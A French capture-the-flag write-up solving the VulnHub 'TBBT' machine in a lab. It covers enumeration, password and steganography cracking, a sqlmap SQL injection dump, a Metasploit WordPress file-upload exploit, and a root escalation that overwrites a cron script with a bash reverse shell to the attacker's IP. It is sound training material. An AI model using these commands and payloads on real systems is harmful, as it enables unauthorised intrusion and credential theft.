VULNHUB | TBBT CTF Write-up

SecuCyber
13 min readApr 20, 2020

--

Bonjour à tous,

Je vous présente aujourd’hui un post relatif à la machine “TBBT”, inspirée de la célèbre série “The Big Bang Theory” et disponible sur la plateforme VULNHUB.

Cette machine, créée par @emaragkos, est la première de la série TBBT. Le challenge sera constitué de 7 flags à récupérer, représentant chacun un des personnages de la série ! Une présentation détaillée de cette machine sera également disponible sur le site de l’auteur.

Sans plus attendre, débutons nos investigations !

Éléments de configuration

Virtualisation VMWare

IP attaquant : 192.168.1.100

IP victime : 192.168.1.105

Énumération

Ma première phase d’énumération débutera, une fois n’est pas coutume, par un scan de ports réalisé à partir de l’outil nmap.

nmap -sC -sV -p- 192.168.1.105

Parmi les ports ouverts sur cette machine, nous retrouverons :

  1. Service FTP (TCP/21)

Accessible publiquement, le service FTP héberge plusieurs documents :

  • Le fichier Welcome.txt : fichier de présentation du nouveau serveur FTP mis en place par notre ami le Dr Sheldon Cooper ;
Contenu du fichier “Welcome.txt”
  • Le fichier ftp_agreement.txt : les règles de vie pour un bon usage du serveur FTP 😅 ;
Contenu du fichier “ftp_agreement.txt”
  • Les fichiers roomate_agreement.jpg et roomate_agreement.txt : le grand livre de Sheldon dictant les règles de la vie en communauté 😆 ;
La bible de Sheldon …
  • Le fichier PENNY_README_ASAP.txt : un mémo, présent dans le dossier FTP de Bernadette, nous fournissant le login de Penny sur le site B2B de la compagnie pharmaceutique … penny69… Un élément à mettre de côté assurément ! Par ailleurs, il est également précisé que le mot de passe est le même que celui que Penny utilise partout …
Contenu du fichier “PENNY_README_ASAP.txt”
  • Le fichier todolist.txt : liste de tâches présente dans le dossier FTP de Penny, juste là pour le scénario 😉 ;
Contenu du fichier “todolist.txt”
  • Le fichier wifi_password.txt : un autre mémo présent dans le dossier FTP de Penny. Un beau clin d’œil à la série et qui, par ailleurs, nous fournira le mot de passe de Penny pennyisafreeloader ! Tenant compte du mémo de Bernadette, nous imaginons que ce mot de passe s’associera au compte penny69 pour l’accès au site de la compagnie pharmaceutique !
Contenu du fichier “wifi_password.txt”
  • Le fichier note.txt : une note laissée par Howard dans son dossier FTP, précisant qu’il a laissé quelques données de la NASA en ayant pris soin de chiffrer le tout !
Contenu du fichier “note.txt”
  • Le fichier super_secret_nasa_stuff_here.zip : une archive protégée par un mot de passe, présente dans le dossier FTP de Howard.

2. Service SSH

Un serveur SSH… Toujours utile pour l’administration distante des équipements !

3. Service HTTP

Page d’accueil du site http://192.168.1.105

Accessible à l’adresse http://192.168.1.105, le site ne présentera aucun lien. Cette première énumération réalisée à partir de l’outil nmap fera néanmoins apparaître la présence d’un fichier robots.txt mentionnant plusieurs chemins :

Contenu du fichier “robots.txt”

Bien, nous n’avons plus qu’à vérifier si ces chemins sont dignes d’intérêt !

Le premier chemin vers l’adresse http://192.168.1.105/howard sera constitué d’un nouveau dossier stolen_data contenant deux fichiers :

  • Le fichier penny_naked.gif 😆
  • Le fichier pennys_lastname.txt : rien de bien intéressant pour la suite de ce challenge …
Contenu du fichier “pennys_lastname.txt”

Quant aux autres chemins découverts dans notre fichier robots.txt, ils ne mèneront à rien … Dommage, le fichier web_shell.php m’aurait bien intéressé !

4. Port TCP/1337

Un simple port mis en écoute par l’auteur de ce challenge … que nous reverrons très rapidement !

Ayant réalisé une présentation sommaire des ports ouverts sur la machine, nous verrons à présent l’obtention des différents flags utilisateur !

Récupération du flag de SHELDON

Comme vu précédemment, le port TCP/1337 est ouvert sur le serveur. Une simple connexion sur celui-ci à l’aide de l’outil netcat nous fournira notre premier flag !

nc 192.168.1.105 1337
Welcome Sheldon !

Par la suite, une analyse des processus en cours viendra expliquer le mécanisme mis en place par l’auteur du challenge … Une simple commande echo réalisée au travers de socat sur le port TCP/1337

Simple mais efficace !

Récupération du flag de HOWARD

Afin de récupérer le flag de notre ami du MIT, il me fallait naturellement disposer dans un premier temps du mot de passe de l’archive. Pour se faire, nous pouvons utiliser l’outil zip2john afin de disposer d’une empreinte que nous fournirons à John :

zip2john super_secret_nasa_stuff_here.zip > secret.hash

Une attaque par bruteforce à partir du dictionnaire rockyou sera ensuite menée sur cette empreinte afin de récupérer le mot de passe de notre archive : astronaut

Récupération du mot de passe de l’archive de Howard à l’aide de JohnTheRipper

Nous pouvons à présent extraire le fichier marsroversketch.jpg présent dans l’archive :

unzip super_secret_nasa_stuff_here.zip

Bien joli, mais pas très utile … Une analyse des données présentes dans l’image à partir de exiftool ne nous fournira pas plus d’éléments. Après réflexion, s’agissant d’un challenge, il ne me restait plus qu’à m’orienter sur une phase basique de stéganographie !

Utilisé afin de dissimuler des informations à l’intérieur d’une image, le logiciel steghide est un grand classique des épreuves de CTF.

Les informations dissimulées, souvent sous la forme de texte brut, sont protégées à l’aide d’une passphrase. Aussi il me fallait forcer cette dernière à partir d’un dictionnaire. Le logiciel stegcracker répondra à ce besoin …

stegcracker marsroversketch.jpg /usr/share/wordlists/rockyou.txt

et nous fournira le mot de passe à utiliser avec le logiciel steghide : iloveyoumom

C’est mignon !

Il ne reste alors qu’à extraire le fichier puis lire le flag de Howard !

steghide extract -sf marsroversketch.jpg
Welcome Howard !

Récupération du flag de BERNADETTE

Afin de trouver le flag de Bernadette, il nous faut tout d’abord repenser au mémo laissé par cette dernière à l’attention de Penny … Souvenez-vous ! Nous savons qu’il doit y avoir un site sur lequel nous devrions pouvoir nous connecter avec l’identifiant penny69 ! Il nous faudra donc énumérer le site web à l’aide d’outils tels que dirbuster, gobuster ou autres fuzzers 😃

J’utilise pour ma part l’outil gobuster écrit dans le langage Go

L’énumération réalisée mettra en lumière plusieurs chemins :

gobuster dir -w /usr/share/dirb/wordlists/big.txt -u http://192.168.1.105/
Enumération à l’aide de l’outil gobuster

Parmi les chemins relevés, l’adresse http://192.168.1.105/private nous conduira sur le site de la compagnie pharmaceutique mentionnée par Bernadette !

Visiblement l’orthographe n’est pas le point fort du webmaster !

Une nouvelle énumération des fichiers PHP présents sous cette adresse nous révèlera quant à elle la page d’authentification login.php

gobuster dir -w /usr/share/dirb/wordlists/big.txt -u http://192.168.1.105/private -x php

Testons à présent les identifiants (supposés) de Penny, à savoir penny69:pennyisafreeloader … Bingo ! Nous sommes à présent authentifiés et nous retrouvons redirigés sur la page searchproducts.php. Le tableau présent nous laisse à penser que ce dernier sera complété par une recherche traditionnelle dans une base de données.

Page accédée après authentification de l’utilisateur penny69

Nous pouvons tout de suite penser à une attaque de type “Injection SQL” … Alors autant vérifier la chose rapidement ! L’ajout d’une simple quote pour modifier la requête SQL attendue confirmera notre hypothèse … Et oui, regardez bien le message d’erreur assez typique 😁

L’ajout d’une quote dans la recherche renvoie une erreur SQL dans le tableau

Pour exploiter rapidement ce type de faille, quoi de mieux que l’outil sqlmap ?!

Il ne me reste alors qu’à mettre en place les différents ingrédients nécessaires à notre attaque :

  • La requête POST sujette à l’injection SQL (récupérée à partir du proxy Burp) ;
Requête POST vulnérable
  • La commande permettant de récupérer les bases de données accessibles ;
sqlmap -r SQLi-request.txt -p 'searchitem' --dbs
Liste des bases de données accessibles
  • Puis les tables présentes dans la base de données ciblée ;
sqlmap -r SQLi-request.txt -p 'searchitem' -D bigpharmacorp --tables
Liste des tables de la base de données “bigpharmacorp”
  • Pour enfin extraire le contenu de la table souhaitée … qui contiendra le flag de Bernadette 🎉
sqlmap -r SQLi-request.txt -p 'searchitem' -D bigpharmacorp -T users --dump
Récupération du flag de Bernadette ainsi que deux mots de passe (robustes…) en bonus !

Récupération du flag de RAJ

Accès distant en tant que www-data

Lors de notre précédente phase d’énumération web, outre le chemin /private, nous pouvions constater un chemin vers l’adresse http://192.168.1.105/music … qui nous conduit sur une page vierge 😲 Rien de grave, ne vous en faites pas ! Une nouvelle énumération à partir de ce nouveau chemin nous révèlera la présence d’un site tournant sous le CMS Wordpress … Much better !

gobuster dir -w /usr/share/dirb/wordlists/big.txt -u http://192.168.1.105/music
Site officiel du célèbre groupe “Footprints on the Moon” 😆

Pour tous les puristes et amateurs de grande musique, vous trouverez un extrait de leur plus grand live !

Bon, trêve de plaisanteries … Reprenons ! Il existe un grand nombre d’outils permettant d’énumérer les vulnérabilités présentes sur les CMS. Le plus célèbre d’entre eux, concernant Wordpress, sera l’outil wpscan présent sur la plupart des distributions de pentesting.

C’est ainsi qu’une énumération du site à partir de cet outil nous indiquera notamment qu’un plugin, sujet à une faille de sécurité, est installé sur notre CMS :

wpscan --url http://192.168.1.105/music/wordpress
Le plugin Reflex Gallery, vulnérable dans sa version 3.1.3

Une nouvelle recherche de ce dernier confirmera l’existence d’un exploit public, intégré par ailleurs au célèbre framework Metasploit !

S’agissant d’une vulnérabilité de type “File Upload”, nous pouvons aisément imaginer qu’il nous sera possible d’obtenir un shell distant par upload d’un reverse shell sur le serveur web… enfin une bonne nouvelle !

Allez, encore un petit effort … plus que quelques étapes :

  • Lancer le framework Metasploit ;
msfconsole
  • Sélectionner le module correspondant ;
use exploit/unix/webapp/wp_reflexgallery_file_upload
  • Puis sélectionner le payload souhaité ;
set payload php/meterpreter/reverse_tcp
  • Paramétrer le tout selon votre configuration ;
  • Et exécuter l’attaque …
exploit
  • Pour conclure, accéder à la session créée …
sessions -i 1
  • Puis ouvrir votre shell !
Welcome www-data !

Disposant d’un shell non interactif, je vous encourage fortement à upgrader ce dernier ! La commande python -c 'import pty; pty.spawn("/bin/bash")' répondra en partie à ce besoin.

Récupération du flag

A partir de notre nouvel accès fraîchement obtenu, nous pouvons réaliser une énumération locale du serveur. Répondant à mes principaux besoins, j’utilise régulièrement le script linPEAS.sh afin d’automatiser cette tâche.

L’analyse des résultats obtenus à partir de ce script m’indiquera notamment une fuite des identifiants de la base de données du site Wordpress …

Identifiants de la base de données du site Wordpress

Après connexion à la base de données “footprintsonthemoon”, l’analyse de la table “wp_posts“ nous révèlera le flag de RAJ présent dans la dernière entrée : un post nommé “Secret notes

www-data@tbbt:/$ mysql -u footprintsonthemoon -pmysql> use footprintsonthemoon;mysql> select * from wp_posts;
Welcome Raj !

En bonus, même si cela n’apportera rien de plus pour la suite de ce challenge, vous pourrez également récupérer les comptes de kripke et stuart sur le CMS …

Et réaliser une attaque par dictionnaire afin de récupérer leurs mots de passe en clair !

Récupération du flag de PENNY

Bon, s’agissant du flag de Penny, il faut bien avouer que le challenge aurait pu être un peu plus ardu… Mais bon … N’oublions pas que cette machine dédiée aux débutants a pour objectif de nous faire découvrir les joies du CTF au travers d’actions rudimentaires !

Ainsi, nous pourrons constater que le répertoire personnel de penny est accessible de tous en lecture : et donc y compris par notre utilisateur www-data ! Un simple affichage des fichiers cachés nous dévoilera le fichier .FLAG.penny.txt contenant le flag de notre utilisatrice 😃

ls -lisah /home/penny
Liste des fichiers et dossiers présents dans le répertoire personnel de Penny

Nous constaterons cependant que ce dernier a été encodé au format Base 64 …

Le caractère “=” présent en fin de chaîne est bien souvent le signe de ce type d’encodage

Contenu du fichier “.FLAG.penny.txt”

Dès lors, il ne nous restera plus qu’à en déchiffrer le contenu … And that’s all !

base64 -d /home/penny/.FLAG.penny.txt
Welcome Penny !

Récupération du flag de AMY

A l’image du flag de Penny, nous pouvons lister le contenu du dossier personnel de Amy à partir du compte www-data. Ainsi, l’étude de son dossier personnel nous révèlera deux fichiers :

  • Le fichier notes.txt : une note présentant le programme créé par Amy afin de protéger ses secrets … En bref, son journal intime numérique ! Il est noté que celui-ci est protégé par un mot de passe robuste et que personne ne peut en lire le code source ;
Contenu du fichier “notes.txt”
  • Le fichier secretdiary : le fameux programme créé par Amy !

Bien que ne disposant pas du code source de l’application, nous pourrons accéder en partie au contenu de ce dernier à l’aide de la commande strings … qui nous révèlera le mot de passe du journal … P@SSw0rd123Sh3ld0n ainsi que le flag de Amy !

Welcome Amy !

Récupération du flag de LEONARD

Et oui … nous arrivons déjà au dernier flag de ce challenge 😪 Toutes les bonnes choses ont une fin !

L’obtention du flag de notre dernier geek se fera par l’exploitation d’un script exécuté par l’utilisateur root (himself !), que nous retrouverons au sein d’une tâche planifiée sur le serveur …

cat /etc/crontab
Contenu du fichier “crontab”

La lecture de ce fichier nous permettra ainsi de constater la présence d’un script, dans le dossier personnel de Leonard, exécuté toutes les minutes par le compte root … et accessible de tous en écriture !

Le fichier “thermostat_set_temp.sh” est modifiable par tous les utilisateurs

Dès lors nous pourrons aisément construire notre élévation :

  • En mettant un port en écoute sur le poste de l’attaquant ;
nc -nlvp 1234
  • Puis en modifiant le contenu du fichier thermostat_set_temp.sh afin de lancer une connexion sur le poste de l’attaquant …
echo "bash -i >& /dev/tcp/192.168.1.100/1234 0>&1" > /home/leonard/thermostat_set_temp.sh

Attendre une petite minute que la tâche planifiée s’exécute … Et voilà le travail !

Nous pouvons à présent lire le flag de Leonard, présent sous /root et marquant la fin de ce challenge … Well done 🙌

Welcome Leonard !

Conclusion

C’est ici que se termine ma présentation de ce challenge. Malgré la simplicité de cette machine, j’ai pris énormément de plaisir à résoudre chacun des flags déposés par @emaragkos 😄 … l’univers de cette série télévisée, que je suis moi-même, y étant pour beaucoup ! Ainsi, l’auteur a pris un soin particulier afin de nous apporter un vrai scénario empli de références aux personnages cultes de la série … Un vrai régal 😋 !!!

Pour conclure, cette machine vraiment plaisante ravira les débutants en sécurité informatique, amateurs de CTF en tous genres ainsi que les nombreux fans (disposant d’un minimum de compétences …) de “The Big Bang Theory” ! Encore un gand merci @emaragkos pour sa contribution !

--

--

SecuCyber

Auditeur passionné par le domaine de l’IT et plus particulièrement la sécurité des systèmes d’information